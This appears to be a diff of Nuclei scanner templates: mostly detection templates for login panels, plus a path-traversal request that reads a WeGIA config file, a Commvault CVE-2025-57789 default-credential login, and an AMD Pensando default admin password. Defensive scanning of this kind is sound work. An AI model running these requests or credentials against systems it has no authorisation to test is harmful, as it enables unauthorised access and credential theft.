+  - raw:
+      - |
+        GET /html/socio/sistema/download_remessa.php?file=../../../www/html/wegia/config.php HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - "DB_PASSWORD"
+
+      - type: word
+        part: content_type
+        words:
+          - "application/octet-stream"
+
+      - type: status
+        status:
+          - 200

http/cves/2025/CVE-2025-57789.yaml

@@ -0,0 +1,54 @@
+id: CVE-2025-57789
+
+info:
+  name: Commvault Initial Administrator Login Process Vulnerability
+  author: DhiyaneshDK,watchtowr
+  severity: medium
+  description: |
+    An issue was discovered in Commvault before 11.36.60.During the brief window between installation and the first administrator login, remote attackers may exploit the default credential to gain admin control. This is limited to the setup phase, before any jobs have been configured.
+  reference:
+    - https://labs.watchtowr.com/guess-who-would-be-stupid-enough-to-rob-the-same-vault-twice-pre-auth-rce-chains-in-commvault/
+    - https://documentation.commvault.com/securityadvisories/CV_2025_08_4.html
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-57789
+  metadata:
+    verified: true
+    max-request: 2
+    shodan-query: http.favicon.hash:-542502280
+  tags: cve,cve2025,commandcenter,commvault,unauth
+
+flow: http(1) && http(2)
+
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}/commandcenter/publicLink.do"
+
+    extractors:
+      - type: regex
+        name: connection
+        group: 1
+        part: body
+        regex:
+          - '"activeMQConnectionURL":"tcp:\/\/(.*?):\d+.*"'
+        internal: true
+
+  - raw:
+      - |
+        POST /commandcenter/api/Login HTTP/1.1
+        Host: {{Hostname}}
+        Accept: application/json
+        Content-Type: application/json;charset=UTF-8
+
+        {
+          "username": "{{connection}}_localadmin__",
+          "password": "YSAtbG9jYWxhZG1pbg==",
+          "commserver": "{{connection}} -cs {{connection}}"
+        }
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'status_code == 200'
+          - 'contains(content_type, "application/json")'
+          - 'contains_all(body, "userGUID","token")'
+        condition: and

http/default-logins/pensando/pensando-default-login.yaml

@@ -0,0 +1,50 @@
+id: pensando-default-login
+
+info:
+  name: AMD Pensando PSM  - Default Login
+  author: tpierru
+  severity: high
+  description: |
+    The AMD Pensando Policy and Services Manager used a default password for the admin account.This allowed instances to be accessed using the default credentials.
+  reference:
+    - https://www.amd.com/en/solutions/data-center/networking.html
+    - https://arubanetworking.hpe.com/techdocs/Pensando/AMD_Pensando_PSM_for_DSS_Guide-1.72.1-T.pdf
+  metadata:
+    verified: true
+    fofa-query: icon_hash="1907840597"
+  tags: pensando,default-login
+
+variables:
+  username: 'admin'
+  password: 'Pensando0$'
+
+flow: http(1) && http(2)
+
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}"
+
+    matchers:
+      - type: dsl
+        internal: true
+        dsl:
+          - 'contains(body,"<title>AMD Pensando PSM</title>")'
+          - 'status_code == 200'
+        condition: and
+
+  - raw:
+      - |
+        POST /v1/login HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/json
+
+        {"username":"{{username}}","password":"{{password}}","tenant":"default"}
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'status_code == 200'
+          - 'contains_all(body, "\"name\":\"admin\"")'
+          - 'contains(content_type, "application/json")'
+        condition: and

http/exposed-panels/ackee-panel.yaml

@@ -28,4 +28,4 @@ http:
           - 'status_code==200 && contains(tolower(body), "<title>ackee")'
           - "status_code==200 && (\"-1495233116\" == mmh3(base64_py(body)))"
         condition: or
-# digest: 4a0a0047304502205f8ed0c3c5ca7e0ef70bf8457d602f44fb985f705017c82d3dc9cb09daf3c2ec0221008a155728964f2ad74cedc09f7fb9a5814f3ea2b2e2011d34a6dae0b020e2f5d4:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402201d84c5e0343edfb6baac1de03eaea904ddbb6a78a6f533bd27224cc8184067ea02204457e81f69d4de73a05d90f7c11626f40f627bcb3707481b17ea14a56cd50db2:922c64590222798bb761d5b6d8e72950

http/exposed-panels/adfinity-panel.yaml

@@ -32,4 +32,4 @@ http:
         group: 1
         regex:
           - '(?i)Version\s+Adfinity([0-9.]+)'
-# digest: 4a0a004730450220489d5f388122e818fb36b43a0c60c793883f49286ae6f24f612542707e46a622022100f8c97dd1a825d70ae92c416be65bd2bb78539aa423412e980c386f188c56bc2a:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100edc5ba9a4d6d23e3d8d539a3cdd47b68e3f53b65f1893e12864f3f8bb14e0b6b0220661f69d1c0a3e16a3e170ef476141c661d5334bd2c45ae041b773dbcfbf4d83b:922c64590222798bb761d5b6d8e72950

http/exposed-panels/adobe/aem-forms-panel.yaml

@@ -0,0 +1,30 @@
+id: aem-forms-panel
+
+info:
+  name: Adobe Experience Manager Forms - Panel
+  author: darses
+  severity: info
+  description: |
+    Adobe Experience Manager Forms was discovered.
+  metadata:
+    verified: true
+    max-request: 1
+    vendor: adobe
+    product: experience_manager_forms
+  tags: panel,login,adobe,detect
+
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}/lc/libs/livecycle/core/content/login.html"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "<title>Adobe Experience Manager forms</title>"
+        case-insensitive: true
+
+      - type: status
+        status:
+          - 200

http/exposed-panels/akuiteo-panel.yaml

@@ -37,4 +37,4 @@ http:
         group: 1
         regex:
           - '(?i)x-akuiteo-masterhash:\s+([0-9a-f]+)'
-# digest: 4a0a00473045022100dc923b2e87074c526f807fb41d7a99c618ee9e3994ebfb4aaf9296b7a14cf773022030f587867b19d856be95ea17555e3bd79d9ae060d6ac9860fe190da706556e3c:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100e9b02f91ca846573e8bf690e92e061b12ee917d9c1dd8fdc3710251379ed6448022100c5e2a5903f7a07d052d36ae34b5bee9b76b513b32dc629763967674c9745e091:922c64590222798bb761d5b6d8e72950

http/exposed-panels/amprion-gridloss-panel.yaml

@@ -31,4 +31,4 @@ http:
         group: 1
         regex:
           - '"envTitle":"([A-Z0-9a-z]+)"'
-# digest: 4a0a004730450220590c5954fc1ac10de23a59a6838c604a523ae5084452b84815cb37d0eb000f82022100c81ab400859468a120c7b7f4425dfb8c10ed0d07cdce5fd3b5cbb9caebbb191e:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100a863cd77b95bd1cec8963fdf046111fe97db6f863957f74bafc7f34bdf669b75022100f52962064db93f0b536a7aa4b4cb89b1ca1992158e10fd1578f1a9f2721dc3bc:922c64590222798bb761d5b6d8e72950

http/exposed-panels/apigee-panel.yaml

@@ -32,4 +32,4 @@ http:
         group: 1
         regex:
           - 'Version:?\s+([0-9.]+)'
-# digest: 490a004630440220447411703bf409772dd15e2a7e43a0a3875d9b40d6e428f76bdc0f8d241c5dbc02203cf3ab404bed2075fde105ad48ab315a67969a9a0ba9406db694e77608fa9758:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a004830460221009277fe423d2c3c86478bfb72825ccb505db2359ac298edb42c9d3c0eb204e03f022100f050b4eab6e17a2fc23612e7518f3a1b97261060d8eea9f51d1aaa371d063c01:922c64590222798bb761d5b6d8e72950

http/exposed-panels/blue-yonder-panel.yaml

@@ -29,4 +29,4 @@ http:
           - 'status_code == 200'
           - 'contains(to_lower(body), "title=\"blue yonder\"")'
         condition: and
-# digest: 490a00463044022077f2f69653626b361d2d1627623ae7855b11b5777ae01f9136158d400cfaf9e20220533e903b43ce7c664a884a8e42d529fa91127ba7e2b74140ca66ca680d457557:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022023006b05a6e72e8253684c2ee3cb344d8013e784f0f46fc4517aa7c538e695ee022046b7a0aa4e54b45c19dfb2e58204547cd830efb1c143beca8ccf9e59bb209bce:922c64590222798bb761d5b6d8e72950

http/exposed-panels/bmc/bmc-controlm-mft-panel.yaml

@@ -27,4 +27,4 @@ http:
           - 'contains(to_lower(body), "file exchange</title>")'
           - 'contains_any(to_lower(body), "main-b2b-icon.png", "fileexchange.ico")'
         condition: and
-# digest: 490a0046304402207d7fd3192fb8dbd484ffc294138daf36969d8108144c00280fb7272b09bff33e0220536a3f0c36ae6906d747710f73600e45e61aefcc7c3bd91f4f4391b4734e287a:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220064f913e26b700600e10b66b8037254a3acaaa6a21871a347e0e1e26636e853e022100fee4dc2b10b19cf3234fe4abfe41951e92122e68ff94a9667f79b430bfe935d5:922c64590222798bb761d5b6d8e72950

http/exposed-panels/bmc/bmc-remedy-sso-panel.yaml

@@ -28,4 +28,4 @@ http:
           - 'status_code == 200'
           - 'contains(to_lower(body), "<title>bmc remedy single sign-on domain data entry")'
         condition: and
-# digest: 490a0046304402201530bbd07a84c4827d4f0bd330bc886746d12dd1babe72b1e12982d4fdee834b02203820e8a5553ab89201d1a059ff195ae77be5b02e443d314ff0633fd0d4981db6:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100acc0529658acab439a430b7c5c1b53094257ce1e931f205a0e4641933870042002203edfc1bc445d34c9b9fd3301a461b6e5cf2fa032ebb65e9bc0d52e8c5ce3f276:922c64590222798bb761d5b6d8e72950

http/exposed-panels/bynder-panel.yaml

@@ -32,4 +32,4 @@ http:
         group: 1
         regex:
           - 'http-equiv="version"\s+content="([0-9\.]+)"'
-# digest: 4a0a0047304502207104a08f4388c04a974a813784233d1138e12bd3b734107dfba299d80da85de9022100ddd18081db0fe1c92efa2083fa47f28ea158991be4d298eb8300948125f50f46:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220569c11cca89df8994fb3bd953a1168d9292d619e950c96094687489685020b55022100844d82552dfb21b8ff63ef2c0c540e5552c7c58a8a829aa6b0bc5c9be209f93f:922c64590222798bb761d5b6d8e72950

http/exposed-panels/cisco-cm-panel.yaml

@@ -28,4 +28,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4a0a00473045022100d0f57f4ac10cc66e153f94c053606fde8f385582b2e2d7c0d6f7644f9386254602204e7983b47a2db5d4d15fb74a713527c60ebc7a8d41cc898358f64e0f7f7a4e56:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a0048304602210081d6e567af798f8afb7ce0cd57224a747db7a1479f559197612f3e8fef5b3e5c022100e0ca942c3ccd052dfea2c56fd928ef282258040dbc5292d6d0fac57014ffa604:922c64590222798bb761d5b6d8e72950

http/exposed-panels/cisco-firepower-panel.yaml

@@ -1,34 +1,50 @@
 id: cisco-firepower-panel
 
 info:
-  name: Cisco Firepower Management Center login - Detect
-  author: Charles D
+  name: Cisco Secure Firewall Management Center - Panel
+  author: Charles D,darses
   severity: info
   description: |
-    Cisco Firepower Management Centerlogin panel was detected
+    Cisco Secure Firewall Management Center login panel was detected. Secure Firewall Management Center was formerly known as Firepower Management Center.
   classification:
     cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
     cwe-id: CWE-200
   metadata:
     verified: true
     max-request: 1
-    shodan-query: html:"cisco firepower management"
+    vendor: cisco
+    product: secure_firewall_management_center
+    shodan-query:
+      - http.html:"Cisco Firepower Management Center"
+      - http.html:"Secure Firewall Management Center"
+      - http.html:"UA-110054821-1"
+    fofa-query:
+      - body="Cisco Firepower Management Center"
+      - body="Secure Firewall Management Center"
+      - body="UA-110054821-1"
   tags: login,cisco,panel,console
 
 http:
   - method: GET
     path:
-      - '{{BaseURL}}/ui/login'
+      - "{{BaseURL}}/ui/login"
 
     matchers-condition: and
     matchers:
       - type: word
         part: body
         words:
-          - "Cisco Firepower Management Center"
           - "Login"
+          - "/img/cisco-icon.svg"
         condition: and
 
+      - type: word
+        part: body
+        words:
+          - "Cisco Firepower Management Center"
+          - "Secure Firewall Management Center"
+        condition: or
+
       - type: status
         status:
           - 200
@@ -36,7 +52,21 @@ http:
     extractors:
       - type: regex
         part: body
+        name: version
         group: 1
         regex:
-          - "'version':\\s*'(\\d+\\.\\d+\\.\\d+)'"
-# digest: 4a0a00473045022052e0d7ab55001601a82ae8b37b9bf2a24ea2ccaf32da5b6f61cc9351faeb7a86022100e8989f9c5a192bb99d7fed0a51e2d88be96126ce1d93934a2599b6b1c88a5062:922c64590222798bb761d5b6d8e72950
+          - "'version':\\s*'([^\\']+)'"
+        internal: true
+
+      - type: regex
+        part: body
+        name: build
+        group: 1
+        regex:
+          - "'build':\\s*'([^\\']+)'"
+        internal: true
+
+      - type: dsl
+        dsl:
+          - "version+'-'+build"
+# digest: 4a0a00473045022065e0111eff62b28882391990fd345986640d412f178b94d559b99d26ee3b5bbb022100c34e5b1d34e3b154fabccf3f0be8b3a6c2193d959e3cdb86b6bc6d25e08113e2:922c64590222798bb761d5b6d8e72950

http/exposed-panels/cisco-prime-license-manager-panel.yaml

@@ -28,4 +28,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 490a00463044022077624d301100b081f3535e1b55f30f5c192c556c72284c653514f47355af453602206ec90dab8472900b7c06f99db013ea3f3d408989d9d2a5ee27b2622c92667820:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100c1ff4bfbaf37415257c2ec752ea21bbfaf3984d93b164a19d1429abd3253ed87022015c8e5c60ee7ed743ee78015172e1abe686234cf986ee211e8f7965be2969781:922c64590222798bb761d5b6d8e72950

http/exposed-panels/cockpit-project-panel.yaml

@@ -47,4 +47,4 @@ http:
       - type: dsl
         dsl:
           - '"OS: " + os + " | Hostname: " + hostname'
-# digest: 4b0a00483046022100caba70f154ec844ac3be9112445b94fae0cebc92ba4b92e3ec0b2b6cbc86af6c022100f7c393c7b936b983112b49ec51d2f775fa22edf765d1dc8d5eb5ac48c0b98ead:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100d338312eac0a1575ee09f26d37a829e17d53f1950eaea00d9ccf301d89f8fd4c022030ebfe0c9dabdae3d79b89c2189a68626537abee37fd6c1950bf07a24d65f307:922c64590222798bb761d5b6d8e72950

http/exposed-panels/easyvista-panel.yaml

@@ -33,4 +33,4 @@ http:
         regex:
           - '(?i)package:\s+"([a-z0-9._-]+)"'
           - '(?i)version : ([a-z0-9._-]+)'
-# digest: 4b0a00483046022100f296a3e0cba1b1f18d4b4d926bb39ba87f9bd565a524a837b21eba6ba0d8e52f022100eac4cee10f783f19e7fea98adf276887277dd5a514913e788fc9444abfff3a90:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100a8ca3681538e8d424137b20d9929ec62470a5619878de5d874da1d41080178bb022100813c4aec519b280c4b933e70774cc6ef1f701d304d9ef98e27a7e032c6153369:922c64590222798bb761d5b6d8e72950

http/exposed-panels/fortinet/fortinet-fortimanager-panel.yaml

@@ -16,6 +16,8 @@ info:
     max-request: 1
     vendor: fortinet
     product: fortimanager
+    shodan-query: 'http.html_hash:-1527157728 "Model: FMG-VM"'
+    fofa-query: title="FortiManager-"
   tags: panel,fortinet,fortios,fortimanager,detect
 
 http:
@@ -40,4 +42,4 @@ http:
         group: 1
         regex:
           - '<span class="platform">(.*?)</span>'
-# digest: 4a0a00473045022050f5b47f61465736a3237d07280b6aa15a2229bc01828f4cac9118bcca420dc3022100e135bc54456e89441ec9a81619c01af7ed9924751bdc975db7a17855013b41bd:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022027fc65f11c93b7d811277a6580987196e82afabc963b7212a50d1a981c40156b022100dd84f9c64d36403552a781327f828b7106fd3af5f697dc2fbdda2843a519d260:922c64590222798bb761d5b6d8e72950

http/exposed-panels/fortinet/fortisiem-panel.yaml

@@ -1,20 +1,26 @@
 id: fortisiem-panel
 
 info:
-  name: FortiSIEM Login Panel - Detect
-  author: pussycat0x
+  name: Fortinet FortiSIEM - Panel
+  author: pussycat0x,darses
   severity: info
-  description: FortiSIEM login panel was detected.
+  description: |
+    FortiSIEM login panel was discovered.
   classification:
     cpe: cpe:2.3:a:fortinet:fortisiem:*:*:*:*:*:*:*:*
   metadata:
     verified: true
-    max-request: 2
-    shodan-query: "http.favicon.hash:-1341442175"
-    product: fortisiem
+    max-request: 1
     vendor: fortinet
-  tags: panel,fortisiem
-flow: http(1) && http(2)
+    product: fortisiem
+    shodan-query:
+      - http.favicon.hash:-1341442175
+      - http.html:"var hst = location.hostname"
+    fofa-query:
+      - icon_hash="-1341442175"
+      - body="var hst = location.hostname"
+  tags: panel,fortinet,login
+
 http:
   - method: GET
     path:
@@ -22,18 +28,20 @@ http:
 
     matchers-condition: and
     matchers:
-      - type: dsl
-        dsl:
-          - "status_code == 200"
-          - "(\"426d365a42bbc67c092b9c2e49b336420f0559d1\" == sha1(body))"
+      - type: word
+        part: body
+        words:
+          - "<title>Login</title>"
+          - "loginToFlexDiv"
         condition: and
 
-  - method: GET
-    path:
-      - "{{BaseURL}}/phoenix/js/login.min.js"
+      - type: status
+        status:
+          - 200
 
-    matchers:
-      - type: word
-        words:
-          - "fortiSIEM_current_login_salt"
-# digest: 490a0046304402203d644778258aac373cae19503ef869c01107957203ea85904fe4b929e8b0377902207ff03722daa69de262bd68e3886773f7dfaabf6bb1683903dd87c2862fdc85f9:922c64590222798bb761d5b6d8e72950
+    extractors:
+      - type: kval
+        part: header
+        kval:
+          - last_modified
+# digest: 4a0a00473045022067146bba1fae278d1fde366615d5479c63e237a8329011c563ba4da11301af90022100a00b556fc9579a4711cea347e929b4a16b7388803b66c8d8f2928797ed94d172:922c64590222798bb761d5b6d8e72950

http/exposed-panels/fortirecorder-panel.yaml

@@ -31,4 +31,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 490a0046304402204d182a09a75666909fcd623caac19259cdf65899ac53822eb02eeb965f0a0e1c02203201b015b9699e664871e72895de1851b71b5724b4ea70400a342c5575a9ec75:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220399e01f60728d00d079e32b9e6e349440e2678ed0ac1a4aaa5351ccc555886de022100a276b058bcd537d0d279836b2bfca125b7821b937b2ca662ad8f64f64c65891a:922c64590222798bb761d5b6d8e72950

http/exposed-panels/fortiswitch-panel.yaml

@@ -29,4 +29,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4a0a00473045022021150f867081e2a40ba2937d33608c68a7e03f1fbb556c3b34953e9d31773b14022100f8127348ebc70ce6e0060d4dc23fa0dc30288d0391bd9fd76b9bfd83705faf4d:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100c41d1f6a277334ddf0e29918f84a689cb76882a49d848c1192d631cb93613ae8022100b200d5f2776f52789ff69417a4981d528884f331a8480f75748da184b5ffa660:922c64590222798bb761d5b6d8e72950

http/exposed-panels/gladinet-centrestack-panel.yaml

@@ -30,4 +30,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4b0a00483046022100ce2423b6f5392644fb17047ecf44e07a4d780f2e9789284322ad4afce6bdf90f022100fa84197a1c9b9199e1e152087fe2fac898839fa9c4a33a8d27061abc5e7a515f:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502203148c9b46f884fa87c7c40a4b5ca67c14441ded82245959ff825b079c8e758720221008f04d0dd3c7e575cdf9051462e114d178a2b169b5d5d6b09fc093409af016585:922c64590222798bb761d5b6d8e72950

http/exposed-panels/grafana-detect.yaml

@@ -39,7 +39,6 @@ http:
 
     extractors:
       - type: regex
-        name: version
         part: body
         group: 1
         regex:
@@ -49,4 +48,4 @@ http:
       - type: kval
         kval:
           - version
-# digest: 4b0a00483046022100fddd84ce9eb38e4df06cbf935a40f9870ff619b5eb526e28bba4d3760244b62a022100e46e856723e03c2c561608bb6862b3b6490bd24854779174968eb7f448246dbe:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100c4051b13610587374a026cff239d2536309594bc56eecbae999dc2839f165877022100e2c648db89a5fd75395661d8bfecfb4d77f32d9543ad75f1bcf643265a34054e:922c64590222798bb761d5b6d8e72950

http/exposed-panels/haivision-media-platform-panel.yaml

@@ -24,4 +24,4 @@ http:
           - 'status_code == 200'
           - 'contains_any(body, "<title>Haivision Media Platform", "content=\"Haivision Network Video")'
         condition: and
-# digest: 4b0a00483046022100be474a0e64d74534e27afc071d930869ed8224403405a74b839fa89cdedb61b1022100899edd1a73386206eae608fe229ec2c003fa01021f53159a0b67d19a84e2dc1e:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502206cc25fde41c41aa978e0dad4a525f2daa6b4d2d6dde0a7890823b1ea7399e83d022100e977c108ecf6e9794aa4596cee5ace84ca6c25ea1956c309dae64f5a4814a941:922c64590222798bb761d5b6d8e72950

http/exposed-panels/hyperdx-panel.yaml

@@ -34,4 +34,4 @@ http:
         regex:
 
           - '(?i)"version":"([0-9.]+)"'
-# digest: 490a00463044022022a1d7d067bd286f67ed77b8a590db1d5d35c905563c7fbe6ece42260a354e6702203405927d55f79b2b50808df4479d1d47bf23b503ca97fd627330434034aecad1:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100ea5036e6c55b3fe7bf14ac27835e09bff61fe1c32c8416086c9c6efc45769e11022100e1a64401df9a13174f05fe3e0c44962a4415bf7886eeca08e79b22c4de57bfab:922c64590222798bb761d5b6d8e72950

http/exposed-panels/hyperplanning-panel.yaml

@@ -33,4 +33,4 @@ http:
         group: 1
         regex:
           - '(?i)Server:\s+HYPERPLANNING\s+([0-9.\s\-]+)'
-# digest: 490a0046304402201c422bce92c0efe1689d3330004c2843247d9d8447af5d24db3fa2f16c5e623c02207f935f25c1c3ca78e9e7ba13f9650d0fc45e0baac54a4a932bbbcdc3f1d5b44e:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100f6401b047c561d254e8de2324f8a772e0dd034d134848528a332c9df2526fa480220259f49f01e22478b1aec90837d731464696890de703b533caba0c1733763e33f:922c64590222798bb761d5b6d8e72950

http/exposed-panels/ivanti-csa-panel.yaml

@@ -29,4 +29,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4a0a0047304502210081ab3a7909956ba2729a323d3db937c825658407de065c38293b118c2462e4b102201d4f103b35cfe475988f029af4317226f0779c02c9c820bf1a682ea95b374d01:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022040a77575f921d8d0c0927b27c34043ab8b0bcb64ebd0f5c619241d0f22d5c289022100da00cadeb981e69ec292872eb864132b6415ff42fdaf18211ef85986fe34d9a4:922c64590222798bb761d5b6d8e72950

http/exposed-panels/ivanti-traffic-manager-panel.yaml

@@ -29,4 +29,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 490a00463044022066a4d2255809ffeb997e36731a4549be18bfc2c0d7617e3f1349ef5e249b014902203205ab884db87b881589aeed8761e1c5b502f82609380c3fc847b0e21bd3d525:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100be88f52185bb85c205bce7b00d7926f21cd60281f2bcaf47f396e5b4c2058525022100d20aa200e473d592fefa3e9563795de537510f3be1ac7b22abead4f5df091c9b:922c64590222798bb761d5b6d8e72950

http/exposed-panels/lorex-panel.yaml

@@ -31,4 +31,4 @@ http:
           - 'contains_all(tolower(body), "<title>web service</title>", "lorex")'
           - 'contains_any(body, "/LOREX_webplugin", "lorex_msg")'
         condition: or
-# digest: 4a0a00473045022100825d670c7f54572466a5085c1681c40832e4bd5bff206e2b92e0a9930c39b26b02200234a8dcffd005867f496367b8128af75448ffe1ef92e28145befd032c625216:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502201344db8dcda2900c4fc1524b7bb0ebc77d3a2aa3eccf115af436e5fa241cff52022100e96a0c069d5b0e24c325ac3cd135a92c8341a9c941994caac32d6144d4d5d50c:922c64590222798bb761d5b6d8e72950

http/exposed-panels/metube-panel.yaml

@@ -29,4 +29,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4a0a00473045022100a8d5f9656b6c9c4f7f3e2cdfb065d948354ba8f97cbb2aa2b8c87a06596d3b4d02200091eae97a6a6fd67656a5a1f82d57c3b3e6a5d84a5a6fb7a41f3b2af486190f:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100ba509df0db623f64bee0606efc5cad658bd33a1b60d561dc5f0691b2113a0b07022006b3d0a294e9247733769d99835b2ae1c2a5c4f72178bd6f77524564961cd427:922c64590222798bb761d5b6d8e72950

http/exposed-panels/neocase-hrportal-panel.yaml

@@ -32,4 +32,4 @@ http:
         group: 1
         regex:
           - 'name="version"\s+content="([0-9\.]+)"'
-# digest: 4a0a00473045022100e0d8064ed84fba50c36331dee1e1e78be7c61ddcb61fcd6f9159c08a852f6f690220459dd68251ebf701e696513a380cedada7bca061f68b0020e2374846d32757d6:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022032ab8c4634339bed0ece1d9fb311077b2227ee763cd5e38387f8e3ee505412a80220301b1f29fea0270d9828b571e41f77f4eac657f12e37d2e860950db61667d6de:922c64590222798bb761d5b6d8e72950

http/exposed-panels/nexus-panel.yaml

@@ -32,4 +32,4 @@ http:
         group: 1
         regex:
           - '_v=([0-9\.\-]+)'
-# digest: 4a0a00473045022100bdab0afca55f2b30bebd5dd7b4dfe7df71908ee0caba4db9d50c4dcbd2f29e12022003ebb1082839850e256c5cda418d5737b7887f6ea9c5dd30c74eb3cad3a3a875:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402206d22c5c49c9c8886ae09512547cf622ee0c4b2d6b8307ffe543f151d8d967b6b0220607a8377334adea5083800abc4e863c7df90f439bf4596e9a526ca418c89faa7:922c64590222798bb761d5b6d8e72950

http/exposed-panels/ngsurvey-panel.yaml

@@ -25,4 +25,4 @@ http:
           - 'status_code == 200'
           - 'contains_all(to_lower(body), "<title>ngsurvey enterprise survey software</title>", "ngsconfig.js")'
         condition: and
-# digest: 4b0a00483046022100cb7626ea89346f79f8269aa769757c28b78b50ef7be1ad31bb1d4a45b57c2552022100968e2a3ade3532ccdace0cdac1557bd95008fe03d440dd86dc9795ef2e7441b2:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022050753c40d7b8d7858ed8067f4a71ada352289d7dc58748dd2fd6b72bb017820a02200f5a96482d45cf5fd70aede589aab138051dc3b9a36e46b12409b89dd98109c6:922c64590222798bb761d5b6d8e72950

http/exposed-panels/opensign-panel.yaml

@@ -28,4 +28,4 @@ http:
           - 'status_code == 200'
           - 'contains(body, "OpenSign")'
         condition: and
-# digest: 490a0046304402200a6fe69a5bc7513af11fb631a9e06aac7cab5a5ea35e5ad86425929fa033dd7702207f23791cde7dab85de503100dd0eb2356bed2ca4fb215a156868d056c13c16b1:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402201ba36bac2d56b5a2ec25a21224757d6f3f4b92dae4878e82e316732870a19522022011cb39706929e78d9e89d5682a3491bd7d019625604a93bb463de4163f3dba9d:922c64590222798bb761d5b6d8e72950

http/exposed-panels/openwebui-panel.yaml

@@ -31,4 +31,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4b0a0048304602210092df8193dff6ea6db7b5b40bd99721b89bfc5b9ba1397a11df22b3a1dee21f39022100b870f41b39f359ab285e073bab452db7ff755cb478dc8b7bc6c24b8daf8a30b9:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220163d39d007da82fa37aad0a77e4c1f48dd875b4c9dad40df76706e867431c0e8022100d0c99e0f32eb44e05e291ab85f0f3b91431ab5913ebef6dd913e429fc1654c7f:922c64590222798bb761d5b6d8e72950

http/exposed-panels/oracle-access-management.yaml

@@ -51,4 +51,4 @@ http:
         group: 1
         regex:
           - '(?i)Login\s+-\s+Oracle\s+Access\s+Management\s+([a-z0-9]+)</title>'
-# digest: 4a0a004730450221008cf18d3af3134afa80fc6099738cf4b8e72d219e6a7ffedfa9f3b76feaa9989402202bcfbea578496c81ef6661a44fee71e1707aaca5d862d46a1e113757d282d741:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100e5ac845520099c186f89c79ebc45482b5361cc7fcc5d8758c64b7752d23ecfa602201abe9093e09c9dbc5e0b3440ed04b8a229c9d4e390632284d2f3c5fdd656adb6:922c64590222798bb761d5b6d8e72950

http/exposed-panels/pairdrop-panel.yaml

@@ -33,4 +33,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4a0a0047304502202231a4f93a2ee5a9154bba4396689d9b250334f680e0f3322dc1db3946f91e4b0221009780d5e9dcc34a201f6a18ceb99415d53bc2acf343fc8894a6dbe45be000a678:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100f3263c5b3d6f565bfb1c17771c765cb90466be238396577a747cd405673f641202200481fc4c6ca489ebbcc48f9026cab58dc3abe0688a6b32ec4b8f53ee61e2c29d:922c64590222798bb761d5b6d8e72950

http/exposed-panels/photoprism-panel.yaml

@@ -27,4 +27,4 @@ http:
           - 'status_code == 200'
           - 'contains_all(body, "PhotoPrism", "login")'
         condition: and
-# digest: 4a0a00473045022100f4aef021f02cc23551e0d47aff25c10344ade1133fa3b6246375b442ae295e81022023b7c9046f65699e976d34f3a87d4da0f4c2f4fd82728a2a4f25ca029eacb540:922c64590222798bb761d5b6d8e72950
+# digest: 490a004630440220022ca3eb124cb868bf8e5c016d48df3d0cd810be966c33f2572ab298691a323102200c5b4aeea3b7f20ca004a44b7dc39e85a97a498d48d063f248748444129d6f62:922c64590222798bb761d5b6d8e72950

http/exposed-panels/pocketbase-panel.yaml

@@ -31,4 +31,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4a0a004730450220615ac33c385301899083bacb87e509ee336ba1bb4e0a4323b980121f974e3d23022100b10811ff9c53eeb06ab0e8b5a087b4614684a0906a736cc35c8e315b47ac43c3:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100fdb709bdf970aa81152732ebfbfc01d851fe262365a93b96d5039a64d2e392da0221009db17f4507926aff964965e7473ca6908923f271c15c29b5e755eea1c972c8fe:922c64590222798bb761d5b6d8e72950

